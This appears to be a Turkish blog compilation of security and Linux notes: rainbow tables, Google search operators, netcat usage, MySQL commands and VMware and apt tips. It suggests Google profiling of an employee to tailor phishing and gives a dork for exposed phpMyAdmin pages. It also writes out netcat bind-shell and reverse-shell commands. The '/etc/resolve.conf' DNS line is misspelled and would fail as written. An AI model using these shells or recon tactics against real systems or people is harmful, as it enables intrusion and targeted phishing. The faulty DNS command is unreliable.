Rainbow Table Nedir , Nerede , Ne İçin Kullanılır?

Rainbow table, bir string ve onun hashi karşılığı eşleşmelerinden oluşan bir tablodur. Hash crack işlemi sırasında, normalde denenecek string hashlenir , hashler karşılaştırılır ve deneme bir sonraki deneme stringi ile aynı şekilde devam eder. Bu yöntem işlem zamanı açısından verimsizdir. Bu yüzden rainbow tables (önceden oluşturularak) crack sırasında kullanılır. Kırılacak hash ile rainbow tabledan alınan hash karşılaştırılır, eşleşen hash bulunduğunda string karşılığı rainbow table da zaten belli olduğu için parola daha hızlı bulunur. Tabiki bu hızın bize maliyeti ise bellek alanıdır.
İngilizce karakter seti için 7 karakter ve daha azı için rainbow table kolayca bulunabilir ve boyutları makul niteliktedir. Bu tablolar 7 karakterlik NTLM hash te ya da 14 karakterlik LM hash lerde kullanılabilir. Bu yüzden bu özelliklerde parolalar kullanmak güvenli değildir.

Google hacking nedir? ne işe yarar? nasıl yapılır?

Google hacking in altındaki ana fikir özel arama operatörleri kullanarak tam olarak istediğimiz şeye ulaşmaktır. Bu operatörler hakkında geniş bilgiye buradan erişilebilir. Ben sadece sık kullanılan operatörlere değinerek bir fikir oluşturmaya çalışacağım. Ardından google ın belki hiç aklınıza gelmemiş bazı kullanım alanlarına değinmeye çalışacağım.

  • “site” operatörü arama sonuçlarını belirtilen alan ismi (domain) ile sınırlar. Örnek vermek gerekirse arama çubuğuna site:aranacaksite.com eklenerek arama sonuçları aranacaksite.com domaini ile sınırlanır.Tek başına yazılırsa bu domainin kaç sayfasının Google tarafından indexlendiği görülebilir.
    site:www.örneksite.com şeklinde kullanarak Google ile indexlenen tüm index sayfalarını görebiliriz.
  •  “filetype” operatörü istediğiniz dosya tipini içeren sayfaları görmenizi sağlar. Aramaya filetype:pdf ekleyerek ile pdf dosyalarına link içeren sonuçlar aranabilir.
  • – + ve ” ın kullanımı
    – operatörü önüne koyduğunuz şeyin sonuçlarda çıkarılmasını sağlarken + ise tersine sonuçlarda bulunması gerektiğini belirtir. ” işareti ise birşeyi aynen yazdığımız gibi aramamızı sağlar. Bir kelime öbeğini tümüyle aramak için kullanılabilir. örneğin “Ankaranın bağları” -filetype:mp3 şeklinde bir aramayla imla hatalı olarak yazdığın tamlamayı içinde mp3 bulunduran sonuçlar için yapabiliriz. + ve – inurl, intitle, site, filetype gibi operatörler ile de kullanılabilir. Bu operatörler ile kullanılar – sonuçlar bu özelliği içermesin anlamına gelir.
  • intitle:Aranacak_başlık şeklinde kullanılarak sonuçların bu başlığı içerip ( normal kullanım) içermeyeceği (önünde – ile kullanım) belirtilebilir.
  • numrange:sayı1-sayı2 şeklinde kullanılarak arama belli bir sayı aralığı içerilecek şekilde yapılabilir.
  • inurl:urlde_bulunacak_kelime şeklinde sonuçlarda olacak sayfaları, url de geçen kelimelere ve başlıklarına göre sınırlayabiliriz. Burada da – tersi anlama gelecektir.
  • | ve OR operatörleri ile sonuçlarda bir kelime veya başka bir kelime içerecek şekilde arama yapılabilir. Şöyle ki ali|veli   veya ali OR veli şeklindeki bir sorguyla içinde ali veya veli kelimelerinde en az biri geçen sonuçlar bulunabilir.
  • * operatörü bir ya da daha fazla kelime  anlamına gelecek şekilde kullanılır. Örneğin: 3 adet * 15 lira gibi bir sorguyla 15 liraya 3 adet ne alabileceğinizi görebilirsiniz (aslında pek de bişey alamazsınız 🙂 )
  • ~ operatörü bir kelimenin eş anlamlılarını belirtir. 3 ~adet bardak 15 tl sorgusu ile adet yerine tane içeren sonuçları da yakalayabilirsiniz.

“Hepsi iyi hoş ama çokta büyük bir marifet değil” diyor olabilirsiniz. Gün geçtikçe artan veri miktarı artık google ı bile ( eskisine göre ) daha alakasız sonuçları karşımıza çıkarmaya iter hale gelmiştir. Bizi google da anlamazsa artık kim anlar bilemiyorum 🙂 Bu yüzden aradığını bulmayı huy edinmiş herkes bir yerde bunlara ihtiyaç duyabilir. Daha ilginç bir nokta ise Google ın artık kişi veya kurum hakkında bilgi toplama, başka yollarla ulaşılması zor noktalara, sonuçlara kolayca ulaşmak için kullanılır hale gelmiş olmasıdır. “Zaten öyle değil miydi?” sorusunu duyar gibiyim. Tam burasının güvenlik araştırmacılarını/hackerları daha çok ilgilendirdiğini söyledikten sonra örneklerle ne demek istediğimi açıklayayım. Diyelim ki bir kurum hakkında araştırma yapıyorsunuz ve oltalama (phishing) yapmak istiyorsunuz. Başarılı bir oltalama için kurbanın dikkatini çekebilecek bir mailden güzel ne olabilir. Kuruma ait asdfg@kurumdomainismi.com gibi bir mail adresine ulaştınız. Hemen “asdfg@kurumdomainismi.com” google sorgusu ile daha fazla bilgi topluyorsunuz. Aa bir de baktınız ki bu kişi bir pul koleksiyonu yapıyor ve ilgili bir siteye koleksiyonunda eksik olan parçayı belirtip elinde olanlardan yardım istiyor, mail adresini de iletişim kanalı olarak vermiş. Eğer biz bunu kullanırsak başarı ihtimali daha yüksek bir saldırı yapacağımız gayet mantığa yatkın öyle değil mi? Hepsi bu mu? Tabiki hayır. Root parola kısmı boş bırakılmış phpmyadmin sayfalarını bulmak başka yollarla kıyaslanmayacak kadar kolay olsa “Welcome to phpmyadmin” +”create new database” sorgusunu yazıp enter tuşuna basmak hızlı olsa yine ikna olmaz mısınız? (dikkat: sonuçlara tıklamayınız ). O halde google ın tahmin ettiğinizden çok daha kolay bir şekilde kullanıcı adı, parola içeren dosyaları, çalışan web teknolojilerini ve versiyonlarını, sistem veya web açıklarını, dizinleri, hassas bilgiler içeren dosyaları, sistemlere yerleştirilmiş arka kapıları(backdoor), istediğiniz tipte bir online cihazı vs vs bulabileceğini söylesek muhtemelen yine heyecanlanmaz ya da şaşırmazdınız. Hal böyle ise belirttiğim tarzda verilerin nasıl bir sorguyla karşımıza çıktığının örneklerini görebileceğiniz bu sayfaya tıklamaya hiç ihtiyacınız yok 🙂  Gördüklerinizden fazlası tamamen sizin üretkenliğinize kalmış.

Dikkat:Bulduğunuz linkleri tıklamak tamamen sizin sorumluluğunuzdadır. Sonuçlarını tahmin edemiyorsanız yapmamanızı tavsiye eder, bir mesuliyet kabul etmeyeceğimi belirtirim.

Yazımı okuduğunuz için teşekkürler, umarım beğendiniz. Kısmetse, hakkında birkaç kelam etmeyi düşündüğüm shodan yazımda buluşmak dileğiyle…

netcat kullanımı ile “cool” hareketler (basit netcat kullanımı örnekleri)

Netcat TCP , UDP portlarını okuyabilen ve yazabilen çok yönlü bir araçtır. Netcat ile port dinleme, port tarama ,port dinleme, bağlantı oluşturma gibi birçok şey yapabilirsiniz. Kendi başına kullanılabileceği gibi başka bir uygulamanın arkaplanında da çalışabilir.

“nc -h” komutuyla yardım görüntülenebileceğini belirttikten sonra birkaç basit uygulama yapalım.

Port tarama
TCP port taramasının ardındaki fikir three way handshake (3’lü el sıkışma)dir. RFC ye göre açık bir TCP portuna bir SYN paketi gönderildiğinde ACK ile cevap verilmelidir. Kapalı portta ise
RST paketi gönderilir. Biz örnek olarak TCP 139 nolu Netbios-ssn servisi portunu tarayacağız.. “nc -v hedef_IP 139” komutunu veriyoruz. Netcat bağlantıyı kurup bize portun açık olduğu bilgisini veriyor ve sonraki komutlarımızı bekliyor.
nc port tarama
Eğer bu komut esnasında Wireshark kullanarak gidip gelen paketleri dinlersek three way handshake ‘i görebiliriz.
Aşağıdaki görüntüde 3 numaralı paket SYN paketi tarafımızdan gönderiliyor. Ardından karşı sistem bu paketi port açık olduğu için 4 te görülen SYN,ACK paketi ile cevaplıyor. Bizde 5 teki gibi ACK paketi ile onu cevaplayıp el sıkışmayı tamamlıyoruz.
three way hanshake
Eğer port kapalı olsaydı biz SYN  paketini gönderdiğimizde karşıdan RST (reset) paketi ile cevaplandırılacaktık ve bağlantı sonlanacaktı.
Bir UDP portu tarayacak olursak burada biraz farklı bir mantığın olduğunu görürüz. Çünkü UDP stateless bir protokoldür ve three way hanshake kullanmaz.
“nc -vvnzu -w 1 192.168.72.133 160-163” ile ( -vv : extra verbosity, n: no name resolution, w: wait 1 second timeout, z: port; u:udp tarama modu) ile 160 163 arasındaki portları tarıyoruz. UDP port taraması yapılırken boş bir UDP paketi yollanır port açıksa cevap gelmez, kapalıysa bağlantı (ICMP unreachable mesajı ile) reddedilir. Ancak cevap gelmemesi hedefin ayakta olmamasından ya da firewall un bu hedefe ICMP mesajlarını engellemesinden kaynaklanıyor olabilir. Dolayısıyla bizde false-positive dediğimiz aslında doğru olmayan bir sonuç alırız. Ayrıca port taramasının yoğunluğu IDS veya IPS ‘in dikkatini çekebilir ve mesajlar düşürülebilir.

  • Banner yakalama (Banner Grabbing)
    “nc -v localhost 80” (-v verbosity) komutunu vererek kendi makinemde çalışan http (port 80) servisine bağlanıyorum. Bağlantı sağlandıktan sonra “HEAD / HTTP/1.1” komutunu veriyorum ve sunucu bana banner bilgisini dönderiyor.
    nc1Böylece apache 2.2.22 versiyonu kullanıldığını vs. görmüş oluyorum. Bu yöntem kullanılırken servis bannerlarının değiştirilmiş veya spoof edilmiş olabileceği unutulmamalıdır.
  • Basit Chat Sistemi
    İki bir Linux ile bir xp makine arasında basit bir chat hizmeti oluşturacağız. Bunun için xp makinanın C:WINDOWS klasörüne nc.exe dosyasını atıyoruz. cd komutunu kullanarak gerekli konuma geçiş yapıp        (yine xp de) netcat ‘i port 4444 ü dinleyecek şekilde “nc -lvp 4444” (-l : listen, v : verbosely, p : port 4444 ) komutuyla ayarlıyoruz. Bu işlem “netstat -an :FIND “4444”  ile ( : nin altgr ve z nin solundaki tuşla yapıldığına dikkat) doğrulanabilir.
    Şimdi linux üzerinden “nc -v xp_nin_IP_adresi 4444”  ile bağlanabiliriz. Artık komut satırına yazdıklarımız xp nin komut satırında görüntülenecektir.
    wake up neo
  •  Dosya Transferi
    “nc -lvp port_numarası” komutunu kullanarak istediğimiz bir portu dinlemeye alabiliriz. Bunu kullanarak netcat aracılığıyla Linux makinemizden Xp makinemize dosya transferi yapalım.
    Xp makinemizde “nc -lvp 4444 > gelenmesaj.txt” (l:listen , v:verbosily p:port ) komutuyla 4444 portu dinlemeye alıyoruz ve gelen veriyi gelenmesaj.txt dosyasına yönlendiriyoruz. Linux makinemizde ise “nc -v xp_nin_ip_adresi 4444 < gidenmesaj.txt”  komutuyla  gidenmesaj.txt dosyasını karşıya aktarıyoruz.

    • Uzak Yönetim (Remote Administration)
      Netcat basit konsol programları için network wrapper olarak görev yapabilir. Standart girdi ve çıktıyı (input ve outputu) ağa yönlendirerek cmd.exe gibi bir konsol programı local bir porta (bind) bağlayabilir. Bu işlem bind shell olarak bilinir. Bu porta bağlanan herkese komut satırı sunulmuş olur. Burada karşımıza iki senaryo çıkar:
      Bind Shell
      Elimizde router arkasında (NAT ‘lanarak internete çıkan, private IP kullanan) Ali ve public IP ile doğrudan internete çıkan Bahri ‘nin olduğu bir senaryo olsun. Bahri, Ali ‘nin yardımını istiyor.
      Bahri “nc -lvp 4444 -e cmd.exe” (e : execute) komutunu vererek 4444 numaralı porta gelen verileri execute ederek cmd.exe nin standart input outputlarını bu porta yönlendiriyor.
      Artık Ali “nc -v bahrinin_IPsi 4444” komutunu kullanarak bağlandıktan sonra komut satırına ulaşabilir. Ali’nin sahip olduğu haklar Bahri’nin sahip olduğu haklara bağlıdır.
      Reverse Shell (Tersine kabuk bağlantısı)
      Elimizde router arkasındaki (NAT ‘lanarak internete çıkan, private IP kullanan) Ali ve public IP ile doğrudan internete çıkan Bahri ‘nin olduğu bir senaryo olsun. Ali, Bahri’den yardım istesin.
      Ali router arkasında olduğu için (private IP kullandığı için) Ali ‘nin reverse shell oluşturması gerekiyor. Bahri “nc -lvp 4444” ile gelen istekleri dinliyor. Ali ise “nc -nv bahrinin_IPsi 4444 -e cmd.exe” (linux için /bin/bash) ile Bahri’ye reverse shell bağlantısı açıyor.

Linux üzerinde bir servis başlatma ya da durdurma durumunu sorgulama

Servis scriptleri “/etc/init.d/” konumu altındadır. Sözgelimi Apache sunucu servisini başlatmak için  ” sudo /etc/init.d/apache2 start ” komutu kullanılır. durdurmak için  benzer şekilde  start yerine “stop”, durumunu sorgulamak için “status” kullanılabilir. Servis başlatıp durdurmanın bir diğer yolu ise ” sudo service apache start” komutudur. Servisin dinlemede olup olmadığını görmek için “netstat -antp” (UDP üzerinden verilen servisler için -anup) komutu kullanılabilir. Apache sunucusu default olarak 80 numaralı portta dinlemede olacaktır.

Linux manuel network arayüzü yapılandırması nasıl yapılır?

Ag arayüzünü manuel olarak yapılandırma :
“ifconfig eth0 192.168.1.2/24”  : elle IP / subnetmask atama (farklı subnet mask için netmask kullanabilirsiniz)
“route add default gw 192.168.1.1” : default gateway  ayarlama
“sudo echo nameserver 4.4.4.4 > /etc/resolve.conf” :  dns sunucusunu ayarlama

Backtrack ‘i otomatik IP almak üzere ayarlamak

Backtrack footprint oluşturmamak için default olarak otomatik IP almaya ayarlanmamıştır. DHCP ‘den otomatik IP almayı sağlamak için “dhclient eth0” ( eth0 otomatik IP alınacak arayüz) komutu verilir.
Dhclient ı durdurmak için “killall dhclient” komutu verilir. “ps  –ef | grep dhclient ” komutuyla işlem doğrulanabilir. (ps -ef o anda sistemde çalışan processlerin listesini görüntüler)

Mysql komutları notlarım ( mysql cheat sheet )

SHOW DATABASES – databaseleri görüntüler.
SHOW TABLES    – o database deki tablo ları görüntüler.
SHOW COLUMNS FROM tablo_ismi  – o tablo daki kolonları görüntüler
SELECT kolon_ismi FROM tablo_ismi -o tablodaki o kolonu seçer
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi – iki kolonu birden seçer. hepsi için wildcard ( * ) kullanılabilir.
SELECT DISTINCT kolon_ismi FROM tablo_ismi  – tekrarlayan sonuçlar atılır.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi LIMIT 5 -sonuclar ilk 5 ile (kolon_ismi1 deki değere göre) sınırlanır.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi LIMIT 5,10 –  6,7,8,9,10…15 inci sonuclar (kolon_ismi2 deki değere göre) döner.
SELECT kolon_ismi1.tablo_ismi FROM tablo_ismi – SELECT kolon_ismi1 FROM tablo_ismi ile aynı sonuçları dönderir ancak karışıklığı önlemek için (örn aynı kolon ismine sahip 2 ayrı tablo varsa) kullanılır. bu yöntemdeki kolon_ismi1.tablo_ismi Fully qualified name olarak adlandırılır.
SELECT kolon_ismi1 FROM tablo_ismi ORDER BY kolon_ismi66 – sonuçlar kolon_ismi66 ya göre  sıralanır.
SELECT kolon_ismi1 FROM tablo_ismi ORDER BY kolon_ismi66 , kolon_ismi77 – sonuçlar önce kolon_ismi66 ya sonra kolon_ismi77 ye göre  sıralanır.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi ORDER BY kolon_ismi66 DESC -sonuçlar kolon_ismi66 ya göre azalan (sondan başa ) sıralanır
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi ORDER BY kolon_ismi66 DESC LIMIT 1 – ile kolon_ismi66 değeri en yüksek sonucu alabiliriz.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55=bir_değer – belirtilen kolonlardan sadece kolon_ismi55 teki değeri bi_değer e eşit olanları seçer.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 != bir_değer – belirtilen kolonlardan sadece kolon_ismi55 teki değeri bi_değerden farklı olanları seçer. ayrıca > ve < smbolleri de geçerlidir.

SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 BETWEEN 12 AND 33 – belirtilen kolonlardan sadece kolon_ismi55 teki değeri 12 ve 33 arasında olanları seçer sayı değeri yerine text kullanacaksak tek tırnak içinde kullanmalıyız ki komutlarla karışmasın
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55=’asdf’ AND kolon_ismi77=1234 -belirtilen kolonlardan sadece kolon_ismi55 teki değeri asdf ve kolon_ismi77 deki değeri 1234 olanları seçer. AND yerine OR kullanılabilir.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 IN (‘a’ , ‘b’, ‘c’) -degerleri a b c olanları seçilir.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 NOT IN (‘a’ , ‘b’, ‘c’) -degerleri a b c dışındakiler olanları seçilir.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 LIKE ‘asdf%’ -kolon_ismi55 teki değeri asdf ile başlayanlar seçilir. % asdf nin önönde de
kullanılablir; anlamı içinde asdf geçen anlamına gelir. ortada kullanılırsa mesela as%df gibi o zamanda as ile başlayıp df ile biten anlamına gelir. Ayrıca % sembolü yerine _ sembolü de aynı şekilde kullanılabilir ancak _ sembolü bir karakter anlamına gelir.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 REGEXP ‘ali’ – içinde ali geçenleri seçer. ali yerine .ali kullanılırsa bir karakterden sonra gelen anlamına gelir.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 REGEXP ‘ali’ – içinde ali geçenleri seçer. ali yerine .ali kullanılırsa bir karakterden sonra gelen anlamına gelir. ali|veli kullanılırsa içinde ali ya da veli geçen anlamına gelir.
SELECT kolon_ismi1 , kolon_ismi2 FROM tablo_ismi WHERE kolon_ismi55 REGEXP ‘[12345678] tane ali’ – dersek 1 ali yada 2 ali yada … ali geçenleri seçer. [^12345678] dersek bunlar haricindekiler anlamına gelir. [1-5] 12345 anlamına gelir.
SELECT CONCAT(kolon_ismi1 , ‘,’ , kolon_ismi55) FROM kolon_ismi66 – kolon_ismi1,kolon_ismi55 şeklinde bir çıktı oluşur.
SELECT CONCAT(kolon_ismi1 , ‘,’ , kolon_ismi55) AS yeni_kolon FROM kolon_ismi66 – üsttekiyle aynı çıktı oluşur oluşan kolon yeni_kolon olarak adlandırılmış olur.
SELECT kolon_ismi1 , kolon_ismi2 , kolon_ismi-1 AS indirimli_fiyat FROM tablo_ismi – kolon_ismi1,kolon_ismi2 ve indirimli_fiyat olarak adlandırılıan kolon_ismi ndeki değerlerin 1 eksiği seçilmiş olur.
SELECT UPPER(kolon_ismi1) FROM tablo_ismi – UPPER fonksiyonu aldığı kolondaki içeriği büyük harfe dönüştürür.
SQRT(kolon_ismi) fonksiyonu aldığı kolondaki içriğin karekökünü alır.
AVG(kolon_ismi) fonksiyonu aldığı kolondaki içeriğin ortalamasını alır. aggregate (toplam) türü bir fonsiyondur ve bu tür foksiyonlar tek sonuç dönderir.
SUM(kolon_ismi) fonksiyonu aldığı kolondaki içeriğin toplamını dönderir. aggregate (toplam) türü bir fonsiyondur ve bu tür foksiyonlar tek sonuç dönderir.
COUNT(kolon_ismi) bir kolondaki tüm satırları sayar. örn SELECT COUNT(urun) FROM satici WHERE satici_id=5433
MAX(kolon_ismi) – aldığı kolondaki en büyük değeri döndürür. AS falanca_max olarak adlandırılabilir.

SELECT satici_id , COUNT(*) AS urun_sayisi FROM GROUP BY satici_id – her satici için urun sayısına göre gruplama yapar.

ALTER TABLE tablo_ismi ADD FULLTEXT(text_iceren_kolon_ismi) -ile text search özelliğini text içiren bir kolonda aktif ediyoruz.
SELECT kolon_ismi1,kolon_ismi2 FROM tablo_ismi WHERE Match(arama_yapılacak_seacrh_aktif_kolon) Against(‘aranacak_text’) -ile arama aktif kolonda arama yapıyoruz. Bu diğer yöntemlerden hızlıdır ve ranking (sonuçları arama kriterine uygunluğa göre sıralama) özelliği bulunur.
SELECT kolon_ismi1,kolon_ismi2 FROM tablo_ismi WHERE Match(arama_yapılacak_seacrh_aktif_kolon) Against(‘+aranacak_text -istenmeyen_text’ IN BOOLEAN MODE) – +ile sonuçlarda olması, – ile olmaması gereken text belirtilir daha farklı operatörler de vardır. operatörleri kullanmak için IN BOOLEAN MODE eklenmelidir.
INSERT INTO tablo_ismi VALUES(‘kolon1e_girilecek_deger’,’kolon2e_girilecek_deger’,’kolon3e_girilecek_deger’,’kolon4e_girilecek_deger’) – kolon sırası korunarak tabloya satır ekleme
INSERT INTO tablo_ismi(kolonismi66,kolon_ismi1,kolon_ismi55,kolon_ismi77) VALUES (’66ya_girilecek_değer’,’1e’,’55e’,’77ye’) – bu şekilde kendi belirttiğimiz sırayla(NULL geçersizse boş bırakmamak kaydıyla) girebiliriz.
INSERT INTO tablo_ismi(kolonismi66,kolon_ismi1,kolon_ismi55,kolon_ismi77) VALUES (’66ya_girilecek_değer’,’1e’,’55e’,’77ye’), (’66ya_girilecek_değer’,’1e’,’55e’,’77ye’) -ile tek seferde birden fazla satır eklenebilir.
UPDATE tablo_ismi SET degistirilecek_kolon1=’eskisiyle_degisecek_deger’ , degistirilecek_kolon2=’eskisiyle_degisecek_deger’ WHERE id=123 – id kolonu 123 değerine eşit olan satırdaki değeri güncelleme
DELETE FROM tablo_ismi WHERE id =1234 -idsi 1234 olan satırı silme
CREATE TABLE tablo_ismi (kolon_ismi1 bu_kolonun_data_tipi , id_kolunu int(11) NOT NULL AUTO_INCREMENT ,kolon_ismi3 tip(boyut) NOT NULL , PRIMARY KEY (id_kolunu)  ) -id_kolonu primary key olacak,auto increment olacak ve kolon_ismi3 ve id_kolonu boş olmayacak şekilde bir tablo oluşturma
ALTER TABLE ekstra_kolon_eklenecek_tablo ADD yeni_kolon data_tipi(uzunluk) – varolan bir tabloya satır ekleme
ALTER TABLE kolon_silinecek_tablo DROP COLUMN silinecek_kolon_ismi – varolan bir tablodan satır silme
DROP TABLE silinecek_tablo_ismi -bir tabloyu tamamen silme
RENAME TABLE eski_tablo_ismi TO yeni_tablo_ismi -tablo ismini değiştirme
CREATE VIEW gecici_tablo_ismi AS SELECT kolon_ismi2,kolon_ismi55 FROM tablo_ismi ORDER BY kolon_ismi77 DESC LIMIT 10 -kolon1 ve 55 teki bilgileri 77 ye göre sıralayarak gecici_tablo_ismi isminde gecici bir tablo oluşturma. Bu yöntem veriyi kendiliğinden güncelleyerek bir yerlerde kullanmak için güzeldir.
SELECT Concat(kolon_ismi2,’,’kolon_ismi55) AS gecici_isim FROM tablo_ismi– 2 ve 55 teki verileri aralarına virgül koyarak birleştirip gecici_isim kolonunda görme
CREATE VIEW koyulacak_kolon_ismi AS SELECT Concat(kolon_ismi2,’,’kolon_ismi55) AS gecici_isim FROM tablo_ismi – 2 ve 55 teki verileri aralarına virgül koyarak birleştirip koyulacak_kolon_ismi kolonu şeklindegörme VIEW geçici bir sistem olsa da SELECT vs kullanabiliriz.

SELECT i.seller_id, i.name, c.id FROM customers AS c,items AS i WHERE i.seller_id=c.id -tabloya geçici nickname vererek kullanma
SELECT customers.name , items.name FROM customers , items WHERE customers.id=seller_id -satıcıları ürünleriyle görme
SELECT customers.name , items.name FROM customers LEFT OUTER JOIN items ON customers.id=seller_id -satıcıları (ürün satmayanlar da dahil) ürünleriyle görme ON: WHERE gibi kullanıldı LEFT : soldaki tüm satırlar sonuçta olsun demek

Vmware sanal disk dosyalarını tek disk dosyasında birleştirme

Vmware sanal disk dosyalarını tek disk dosyasında nasıl birleştiririm?
Eğer yükleme sırasında disk dosyalarını farklı dosyalara ayır (resimde seçili olan) seçeneğini seçmişseniz  dosyalar tek sanal disk dosyasında birleştirilmez.Bu özellik, sanallaştırmanın yoğun kullanıldığı serverlar arasında büyük disk dosyalarının taşınmasını kolaylaştırır fakat; küçük çaplı kullanımda performans kaybı oluşturur. Bu yüzden bu tip kullanımda şahsen gerekli görmüyorum. 16-1-2014 14-55-29Gelelim konumuza, yani dosyaları birleştirmeye. Bunun için linux ortamında aşağıdaki komutu kullanabilirsiniz:

sudo vmware-vdiskmanager -r birlestirilecek_disk_yolu/disk_ismi.vmdk -t 0 Yeni_oluşturulacak_disk_yolu/yeni_disk_ismi.vmdk

Windows ortamındaki komut oldukça benzer. Sadece “vmware-vdiskmanager” kısmını “vmware-vdiskmanager.exe” şeklinde yazmak ve tabiki bu dosyayı kullanabilmek için vmware in kurulu oldugu konuma (64 bit bir sistemde varsayılan olarak “C:\Program Files (x86)\VMware\VMware Workstation\ ” konumunda) geçmek yeterli.

Burada “-r” ile belirtilen diski dönüştürmek için kullanılıyor. “-t” ile disk tipi belirtiyoruz. “0” tek, genişleyebilir sanal diski ifade ediyor.  Diğer disk seçenekleri ise şöyle:

0                   : tek, genişleyebilir disk
1                   : 2 GBlık dosyalara ayrılan genişleyebilir disk
2                   : ayrılmış sanal disk
3                   : 2GB lık dosyalar halinde ayrılmış sanal disk
4                   : Ayrılmış ESX-tipi sanal disk
5                   : Akış için optimize edilmiş sıkıştırılmış disk
Genişleyebilir:maksimum olarak belirlediğiniz alan disk doldukça gerçek diskinizde ayrılır.

Ayrılmış:maksimum olarak belirlediğiniz alan disk boş olsa dahi gerçek diskinizde ayrılır.

Birleştirme işlemini yaparken, yeni disk ismini eskisi ile benzer olacak şekilde verin ve aynı konuma kaydedin. Birleştirme işlemi tamamlandıktan sonra eski disk dosyalarını (vmdk uzantılı) silip yeni oluşturduğumuz dosya ismini eskisiyle aynı olacak biçime getirin. Bu sizi eski diski makineden kaldırıp yenisini tanıtmak, gibi bazı zahmetlerden kurtaracaktır.İşlem sırasında verilen “Failed to read configuration file” uyarısının da böylece önemi kalmaz.

Daha fazla örnek için :https://www.vmware.com/support/ws55/doc/ws_disk_manager_examples.html

apt-get install ile Herhangi birşey yükleyemiyorum

Ne yüklemeye çalışırsam çalışayım aynı hatayı alıyorum. “Unable to locate package … ”

Bu sorun çoğu zaman yazılım depolarının listesini tutan dosyanızda bir sorun olmasından kaynaklanır. Bu dosyaya

sudo kate /etc/apt/sources.list

ile ulaşıp yüklemek istediğiniz paketleri bulunduran adresleri içerecek şekilde düzenleyebilirsiniz.